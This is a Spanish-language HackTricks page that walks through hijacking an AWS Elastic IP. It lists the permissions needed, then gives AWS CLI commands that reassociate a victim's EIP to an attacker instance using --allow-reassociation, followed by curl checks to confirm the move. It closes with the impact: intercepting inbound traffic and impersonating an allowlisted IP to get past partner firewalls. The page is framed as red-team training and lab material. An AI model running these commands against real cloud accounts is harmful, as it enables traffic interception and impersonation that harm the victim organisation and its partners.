AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Abusar de ec2:AssociateAddress (y opcionalmente ec2:DisassociateAddress) para reasociar un Elastic IP (EIP) de una instancia/ENI de la víctima a una instancia/ENI del atacante. Esto redirige el tráfico entrante destinado al EIP hacia el atacante y también permite al atacante originar tráfico saliente con la IP pública allowlisted para eludir los firewalls externos de partners.

Requisitos previos

  • ID de asignación del EIP de destino en la misma cuenta/VPC.
  • Instancia/ENI del atacante que controlas.
  • Permisos:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress en el EIP allocation-id y en la instancia/ENI del atacante
  • ec2:DisassociateAddress (opcional). Nota: --allow-reassociation desasociará automáticamente de la asociación previa.

Ataque

Variables

REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Asignar o identificar el EIP de la victim (el lab asigna uno nuevo y lo adjunta a victim)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Verificar que la EIP actualmente resuelve al servicio de la víctima (por ejemplo, comprobando un banner)
curl -sS http://$EIP | grep -i victim
  1. Reasociar el EIP al attacker (se desasocia automáticamente del victim)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Verificar que el EIP ahora resuelve al attacker service
sleep 5; curl -sS http://$EIP | grep -i attacker

Evidencia (asociación movida):

aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Impacto

  • Inbound impersonation: Todo el tráfico hacia el EIP secuestrado se entrega a la instancia/ENI del atacante.
  • Outbound impersonation: El atacante puede iniciar tráfico que parece originarse desde la allowlisted public IP (útil para eludir filtros de IP de socios/fuentes externas).

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks